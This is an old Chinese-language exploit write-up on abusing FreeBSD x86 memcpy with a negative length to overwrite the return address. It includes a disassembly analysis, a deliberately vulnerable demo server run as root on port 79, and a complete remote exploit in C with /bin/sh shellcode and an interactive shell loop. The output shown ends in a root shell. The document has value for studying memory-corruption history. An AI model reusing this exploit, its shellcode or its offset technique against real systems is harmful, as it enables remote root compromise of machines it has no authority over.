|
*bsd x86 memcpy exploit tips (阅览
次)
*bsd x86 memcpy exploit tips
Author: alert7 Email: alert7@whitecell.org Homepage:http://www.whitecell.org Date: 2002-08-10
*bsd x86 memcpy exploit tips
by alert7 < alert7@xfocus.org > 主页: http://www.xfocus.org/ http://www.whitecell.org/ 2002-6-25
-------------------------------------------------------------------- 本文原贴于xfocus和whitecell的内部版 watercloud建议我可以看freebsd memcpy的源程序,一是我写这篇文章的时候,当前没有 找到memcpy的src,二是要总结出象公式一样模版的话,还是看asm的来的更确切。虽然看起来 比较累。
最后我附上了watercloud兄的一个不算疑问的疑问并且附上freebsd memcpy的src --------------------------------------------------------------------
讨论以x86 freebsd为蓝本,其他x86的BSD如netbsd,openbsd雷同
先来看看freebsd 4.5下的memcpy的汇编代码实现
(gdb) disass memcpy Dump of assembler code for function memcpy: 0x28163ba8 <memcpy>: push %esi 0x28163ba9 <memcpy+1>: push %edi 0x28163baa <memcpy+2>: mov 0xc(%esp,1),%edi 0x28163bae <memcpy+6>: mov 0x10(%esp,1),%esi 0x28163bb2 <memcpy+10>: mov 0x14(%esp,1),%ecx 0x28163bb6 <memcpy+14>: mov %edi,%eax 0x28163bb8 <memcpy+16>: sub %esi,%eax 0x28163bba <memcpy+18>: cmp %ecx,%eax 0x28163bbc <memcpy+20>: jb 0x28163bd4 <memcpy+44> 0x28163bbe <memcpy+22>: cld 0x28163bbf <memcpy+23>: shr $0x2,%ecx 0x28163bc2 <memcpy+26>: repz movsl %ds:(%esi),%es:(%edi) 0x28163bc4 <memcpy+28>: mov 0x14(%esp,1),%ecx 0x28163bc8 <memcpy+32>: and $0x3,%ecx 0x28163bcb <memcpy+35>: repz movsb %ds:(%esi),%es:(%edi) 0x28163bcd <memcpy+37>: mov 0xc(%esp,1),%eax 0x28163bd1 <memcpy+41>: pop %edi 0x28163bd2 <memcpy+42>: pop %esi 0x28163bd3 <memcpy+43>: ret 0x28163bd4 <memcpy+44>: add %ecx,%edi 0x28163bd6 <memcpy+46>: add %ecx,%esi 0x28163bd8 <memcpy+48>: std 0x28163bd9 <memcpy+49>: and $0x3,%ecx 0x28163bdc <memcpy+52>: dec %edi 0x28163bdd <memcpy+53>: dec %esi 0x28163bde <memcpy+54>: repz movsb %ds:(%esi),%es:(%edi) 0x28163be0 <memcpy+56>: mov 0x14(%esp,1),%ecx 0x28163be4 <memcpy+60>: shr $0x2,%ecx 0x28163be7 <memcpy+63>: sub $0x3,%esi 0x28163bea <memcpy+66>: sub $0x3,%edi 0x28163bed <memcpy+69>: repz movsl %ds:(%esi),%es:(%edi) 0x28163bef <memcpy+71>: mov 0xc(%esp,1),%eax 0x28163bf3 <memcpy+75>: pop %edi 0x28163bf4 <memcpy+76>: pop %esi 0x28163bf5 <memcpy+77>: cld 0x28163bf6 <memcpy+78>: ret 0x28163bf7 <memcpy+79>: nop 0x28163bf8 <memcpy+80>: and $0x46,%al 0x28163bfa <memcpy+82>: jb 0x28163c61 <brk+25> 0x28163bfc <memcpy+84>: gs 0x28163bfd <memcpy+85>: inc %edx 0x28163bfe <memcpy+86>: push %ebx 0x28163bff <memcpy+87>: inc %esp 0x28163c00 <memcpy+88>: cmp (%eax),%ah 0x28163c02 <memcpy+90>: jae 0x28163c76 <brk+46> 0x28163c04 <memcpy+92>: arpl %bp,(%edi) 0x28163c06 <memcpy+94>: insb (%dx),%es:(%edi) 0x28163c07 <memcpy+95>: imul $0x6362696c,0x2f(%edx),%esp 0x28163c0e <memcpy+102>: das 0x28163c0f <memcpy+103>: imul $0x732f3638,(%ebx),%esi 0x28163c15 <memcpy+109>: jns 0x28163c8a <brk+66> 0x28163c17 <memcpy+111>: das 0x28163c18 <memcpy+112>: bound %esi,0x6b(%edx) 0x28163c1b <memcpy+115>: cs 0x28163c1c <memcpy+116>: push %ebx 0x28163c1d <memcpy+117>: sub $0x76,%al 0x28163c1f <memcpy+119>: and %dh,(%ecx) 0x28163c21 <memcpy+121>: cs 0x28163c22 <memcpy+122>: aaa 0x28163c23 <memcpy+123>: and %dh,(%ecx) 0x28163c25 <memcpy+125>: cmp %edi,(%ecx) 0x28163c27 <memcpy+127>: cmp %ebp,(%edi) 0x28163c29 <memcpy+129>: xor %bh,(%eax) 0x28163c2b <memcpy+131>: das 0x28163c2c <memcpy+132>: xor (%edi),%dh 0x28163c2e <memcpy+134>: and %dh,(%edx) 0x28163c30 <memcpy+136>: xor (%edx),%edi 0x28163c32 <memcpy+138>: xor $0x38333a39,%eax 0x28163c37 <memcpy+143>: and %dh,0x65(%eax) 0x28163c3a <memcpy+146>: je 0x28163ca1 <mmap+9> 0x28163c3c <memcpy+148>: jb 0x28163c5e <brk+22> 0x28163c3e <memcpy+150>: inc %ebp 0x28163c3f <memcpy+151>: js 0x28163cb1 <mmap+25> 0x28163c41 <memcpy+153>: and %ah,(%eax,%eax,1)
memcpy(void *dst, const void *src, size_t len) ; *bsd系统特性 假如(dst - src)<len的话(有符号数比较),则表明des和src是重叠的,则执行反向拷贝 以下是该重叠情况下执行的关键代码: 0x28163bd4 <memcpy+44>: add %ecx,%edi 0x28163bd6 <memcpy+46>: add %ecx,%esi 0x28163bd8 <memcpy+48>: std 0x28163bd9 <memcpy+49>: and $0x3,%ecx 0x28163bdc <memcpy+52>: dec %edi 0x28163bdd <memcpy+53>: dec %esi 0x28163bde <memcpy+54>: repz movsb %ds:(%esi),%es:(%edi)//这里把ecx变成( ecx>>((ecx&3)*8)),使要拷贝的长度变小 //本身运行ecx&3次 这里相当于memcpy( (edi+ecx)-(ecx&3)-1,(esi+ecx)-(ecx&3)-1 ,ecx&3 )
0x28163be0 <memcpy+56>: mov 0x14(%esp,1),%ecx 0x28163be4 <memcpy+60>: shr $0x2,%ecx 0x28163be7 <memcpy+63>: sub $0x3,%esi 0x28163bea <memcpy+66>: sub $0x3,%edi 0x28163bed <memcpy+69>: repz movsl %ds:(%esi),%es:(%edi) movebites = (ecx&3)*8; 这里相当于memcpy( (edi+ecx)-(ecx&3)-1-3-( ((ecx<<movebites)>>movebites )>>2)*4,(esi+ecx)-(ecx&3)-1-3-( ((ecx<<movebites)>>movebites )>>2)*4, ( ((ecx<<movebites)>>movebites )>>2)*4 )
0x28163bef <memcpy+71>: mov 0xc(%esp,1),%eax 0x28163bf3 <memcpy+75>: pop %edi 0x28163bf4 <memcpy+76>: pop %esi 0x28163bf5 <memcpy+77>: cld 0x28163bf6 <memcpy+78>: ret
#define DISTANCE 12 该值在特定版本的*bsd memcpy实现是固定的。 是memcpy的参数len存放地址和memcpy返回地址存放地址距离之差。
从上面看到: (edi+ecx)-1是要开始覆盖的地址,覆盖的字节数为ecx&3
1 假如ecx&3为1,(edi+ecx)-1需要覆盖len最后一位。接下来最大的拷贝为0xffffff可能会dump掉。 1-ecx = (DEST - RETLOC ) -DISTANCE - 3 可算出ecx,还要看是否满足ecx&3 ?= 1 2 假如ecx&3为2,(edi+ecx)-1需要覆盖len最后两位。接下来最大的拷贝为0xffff,应该不会dump了。 1-ecx = (DEST - RETLOC ) -DISTANCE - 3 可算出ecx,还要看是否满足ecx&3 ?= 2 3 假如ecx&3为2,(edi+ecx)-1需要覆盖len最后一位和后面一位。接下来最大的拷贝为0xffff,应该不会dump了。 1-ecx = (DEST - RETLOC ) -DISTANCE-4 可算出ecx,还要看是否满足ecx&3 ?= 2 4 假如ecx&3为3,(edi+ecx)-1需要覆盖len最后三位。接下来最大的拷贝为0xff。 1-ecx =(DEST - RETLOC ) -DISTANCE-3 可算出ecx,还要看是否满足ecx&3 ?= 3 5 假如ecx&3为3,(edi+ecx)-1需要覆盖len最后两位。接下来最大的拷贝为0xffff。应该不会dump了。 1-ecx =(DEST - RETLOC ) -DISTANCE-4 可算出ecx,还要看是否满足ecx&3 ?= 3 6 假如ecx&3为3,(edi+ecx)-1需要覆盖len最后一位。接下来最大的拷贝为0xffffff。可能会dump掉。 1-ecx =(DEST - RETLOC ) -DISTANCE-5 可算出ecx,还要看是否满足ecx&3 ?= 3 对于给定的DEST,RETLOC,DISTANCE三个值的时候,ECX也有可能都无解。
CASE取值如下: switch (上列情况之){ 1: 2: 4: CASE=3;break; 3: 5: CASE =4;break; 6: CASE =5;break; }
memcpy len参数地址为: (edi+ecx)-1-CASE也就是RETLOC+DISTANCE 所以,我们如果需要重新修改memcpy len参数大小的话,那么就应该在 esi+ecx -1, esi+ecx-2 ,esi+ecx-3这几个地址安排适当的值,以使参数len变小。 以确保进程不DUMP掉。 所以应该在SRC +ecx-1,SRC+ecx -2,SRC+ecx-3这三个地址安排适当的值,一般安排为\0.
确定了memcpy参数len地址为(edi+ecx)-1-CASE 那么memcpy RETLOC地址为(edi+ecx)-1-CASE - DISTANCE 所以应该在SRC+ecx -1 -CASE - DISTANCE的地址安排一个值,作为EIP返回。
好了,现在已经分析的差不多了 在*BSD系列上 memcpy(void *dst, const void *src, size_t len) 当len传入是负数的话,所执行的相当于如下操作 memcpy( dst+ecx-1-(ecx&3),src+ecx-1-(ecx&3) ,ecx&3 );覆盖len参数的某几个字节 movebites = (ecx&3)*8; 这里相当于memcpy( (dst+ecx)-(ecx&3)-1-3-( ((ecx<<movebites)>>movebites )>>2)*4,(src+ecx)-(ecx&3)-1-3-( ((ecx<<movebites)>>movebites )>>2)*4, ( ((ecx<<movebites)>>movebites )>>2)*4 )
好了,探讨分析就到这里吧 下面看个实例吧
/* * vul.c * *bsd memcpy bug demo write by alert7 on freebsd 4.3 * 2002.6.25 */ #define BUFSIZE 1024 int main(int argc,char ** argv) { char buf[BUFSIZE]; char buf1[BUFSIZE]; char buf2[BUFSIZE]; int i;
i=read(0,buf1,BUFSIZE); i=read(0,buf2,BUFSIZE); buf2[i]=0; i = atoi(buf2);
memcpy(buf2-1,buf,i); exit(0); }
bash-2.05a# gcc -o vul vul.c -g -ggdb 把该程序安装在79 port bash-2.05a# cat /etc/inetd.conf |grep finger finger stream tcp nowait root /root/vul vul
/* exp.c exploit for vul.c * *bsd memcpy bug demo write by alert7 on freebsd 4.3 * 2002.6.25 */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> #include <sys/time.h> #include <signal.h>
#define DEST 0xbfbff043//0xbfbfeee9 #define SRC 0xbfbff844//0xbfbff6e8 #define DISTANCE 12 #define RETLOC (0xbfbff010+8)//(0xbfbfeeb4+8)
/*对于特定系统下的的特性程序,DEST,SRC,RETLOC之间的关系是一定的,只要知道其中一个,就可以知道其他的*/
char shell[]= "\xeb\x16\x5e\x31\xc0\x8d\x0e\x89" "\x4e\x08\x89\x46\x0c\x8d\x4e\x08" "\x50\x51\x56\x50\xb0\x3b\xcd\x80" "\xe8\xe5\xff\xff\xff/bin/sh";
#define BUFSIZE 1024 #define NOP 'A' #define EXPLOIT_TIMEOUT 5
int main(int argc,char **argv) { char buff[BUFSIZE]; char ecxbuf[10]; int i,ECX; int OK=0,CASE=0; int sock; struct sockaddr_in sin; int portp = 79; unsigned int retaddr; int i1,i2,i3; ECX = 1-( (DEST - RETLOC ) -DISTANCE-3); if ((ECX & 3)==3) OK =4; if ((ECX & 3)==2) OK =2; if ((ECX & 3)==1) OK =1; if (OK==0) { ECX = 1-( (DEST - RETLOC ) -DISTANCE-4); if ((ECX & 3)==3) OK =5; if ((ECX & 3)==2) OK =3; } if (OK==0) { ECX = 1-( (DEST - RETLOC ) -DISTANCE-5); if ((ECX & 3)==3) OK =6; } switch (OK) { case 1: case 2: case 4: CASE = 3; break; case 3: case 5: CASE = 4; break; case 6: CASE = 5; break; default: break; }
printf("ECX %p DEST %p SRC %p RETLOC %p\nDISTANCE %p CASE %d OK %d\n",ECX,DEST,SRC,RETLOC,DISTANCE,CASE,OK); i1=SRC; i2=DEST; i3=ECX; if ( (i2 - i1) > i3) OK =0; if (OK ==0) { printf("该exploit不能利用这种情况\n如果您知道,请跟我联系< email:alert7@xfocus.org >\n"); exit(0); } if (argc!=2) { printf("usage:%s ip\n",argv[0]); exit(0); } sock = socket(AF_INET, SOCK_STREAM, 0); sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr(argv[1]); sin.sin_port = htons(portp); if(connect(sock, (struct sockaddr *) & sin, sizeof(sin)) != 0) { perror("connect()"); exit(1); } printf("connected!\n"); memset(buff,NOP,BUFSIZE); memcpy(buff+BUFSIZE/2,shell,sizeof(shell) ); sprintf(ecxbuf,"%d",ECX); /*SRC+ecx -1 -CASE-DISTANCE *安装EIP */ retaddr = SRC-(0xbfbfeb38-0xbfbfe738); printf("use retaddr %p\n",retaddr); *(int *)&buff[0xbfbfeb38-0xbfbfe738+ atoi(ecxbuf) - 1-CASE-DISTANCE]=retaddr; /* (gdb) p &buf $1 = (char (*)[1024]) 0xbfbfeb38 (gdb) p &buf1 $2 = (char (*)[1024]) 0xbfbfe738 (gdb) p &buf2 $3 = (char (*)[1024]) 0xbfbfe338 */ /* *安装\0 */ buff[0xbfbfeb38-0xbfbfe738+ atoi(ecxbuf) - 1]=0; buff[0xbfbfeb38-0xbfbfe738+ atoi(ecxbuf) - 2]=0; buff[0xbfbfeb38-0xbfbfe738+ atoi(ecxbuf) - 3]=0; write(sock,buff,BUFSIZE); sleep(1); write(sock,ecxbuf,strlen(ecxbuf)+1); sleep(2); write(sock, "uname -a;id\n", strlen("uname -a;id\n")); while (1) { fd_set fds; int n; struct timeval tv; char buf[1024]; tv.tv_sec = EXPLOIT_TIMEOUT; tv.tv_usec = 0;
FD_ZERO(&fds); FD_SET(0, &fds); FD_SET(sock, &fds);
memset(buf, 0, sizeof(buf)); if(select(sock + 1, &fds, NULL, NULL, &tv) > 0) { if(FD_ISSET(sock, &fds)) { if((n = read(sock, buf, sizeof(buf) - 1)) <= 0) break;
write(1, buf, n); }
if(FD_ISSET(0, &fds)) { if((n = read(0, buf, sizeof(buf) - 1)) < 0) exit(1);
write(sock, buf, n); } }//end select }//end while }
$ ./exp.exe 192.168.168.124 ECX 0xffffffe5 DEST 0xbfbff043 SRC 0xbfbff844 RETLOC 0xbfbff018 DISTANCE 0xc CASE 3 OK 1 connected! use retaddr 0xbfbff444 FreeBSD vm-free.alert7.com 4.3-RELEASE FreeBSD 4.3-RELEASE #0: Thu Jul 19 0 8:16:38 CST 2001 root@vm-free.alert7.com:/usr/src/sys/compile/alert7 i386 uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator),20(staff), 31(guest)
OK,成功了~
---------------------------------------------- 附: BSD的memcpy我觉得体系上并没有问题,只是其为了实现快速拷贝 引入的对齐和为了处理目标覆盖源而引入的反向拷贝有时可 能会被攻击一些软件自身漏洞时利用,如那个Apache 。
主要的一个是register定义的变量编译时没有被优化到寄存器中!奇怪!
个人的愚见! ----- watercloud
附memcpy源程序 From FreeBSD4.5 /*- * Copyright (c) 1990, 1993 * The Regents of the University of California. All rights reserved. * * This code is derived from software contributed to Berkeley by * Chris Torek. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. All advertising materials mentioning features or use of this software * must display the following acknowledgement: * This product includes software developed by the University of * California, Berkeley and its contributors. * 4. Neither the name of the University nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */
#if defined(LIBC_SCCS) && !defined(lint) static char sccsid[] = "@(#)bcopy.c 8.1 (Berkeley) 6/4/93"; #endif /* LIBC_SCCS and not lint */ #ifndef lint static const char rcsid[] = "$FreeBSD: src/lib/libc/string/bcopy.c,v 1.1.1.1.14.1 2001/07/09 23:30:03 obrien Exp $"; #endif
#include <sys/cdefs.h> #include <string.h>
/* * sizeof(word) MUST BE A POWER OF TWO * SO THAT wmask BELOW IS ALL ONES */ typedef int word; /* "word" used for optimal copy speed */
#define wsize sizeof(word) #define wmask (wsize - 1)
/* * Copy a block of memory, handling overlap. * This is the routine that actually implements * (the portable versions of) bcopy, memcpy, and memmove. */ #ifdef MEMCOPY void * memcpy(dst0, src0, length) #else #ifdef MEMMOVE void * memmove(dst0, src0, length) #else void bcopy(src0, dst0, length) #endif #endif void *dst0; const void *src0; register size_t length; { register char *dst = dst0; register const char *src = src0; register size_t t;
if (length == 0 || dst == src) /* nothing to do */ goto done;
/* * Macros: loop-t-times; and loop-t-times, t>0 */ #define TLOOP(s) if (t) TLOOP1(s) #define TLOOP1(s) do { s; } while (--t)
if ((unsigned long)dst < (unsigned long)src) { /* * Copy forward. */ t = (int)src; /* only need low bits */ if ((t | (int)dst) & wmask) { /* * Try to align operands. This cannot be done * unless the low bits match. */ if ((t ^ (int)dst) & wmask || length < wsize) t = length; else t = wsize - (t & wmask); length -= t; TLOOP1(*dst++ = *src++); } /* * Copy whole words, then mop up any trailing bytes. */ t = length / wsize; TLOOP(*(word *)dst = *(word *)src; src += wsize; dst += wsize); t = length & wmask; TLOOP(*dst++ = *src++); } else { /* * Copy backwards. Otherwise essentially the same. * Alignment works as before, except that it takes * (t&wmask) bytes to align, not wsize-(t&wmask). */ src += length; dst += length; t = (int)src; if ((t | (int)dst) & wmask) { if ((t ^ (int)dst) & wmask || length <= wsize) t = length; else t &= wmask; length -= t; TLOOP1(*--dst = *--src); } t = length / wsize; TLOOP(src -= wsize; dst -= wsize; *(word *)dst = *(word *)src); t = length & wmask; TLOOP(*--dst = *--src); } done: #if defined(MEMCOPY) || defined(MEMMOVE) return (dst0); #else return; #endif }
返回
|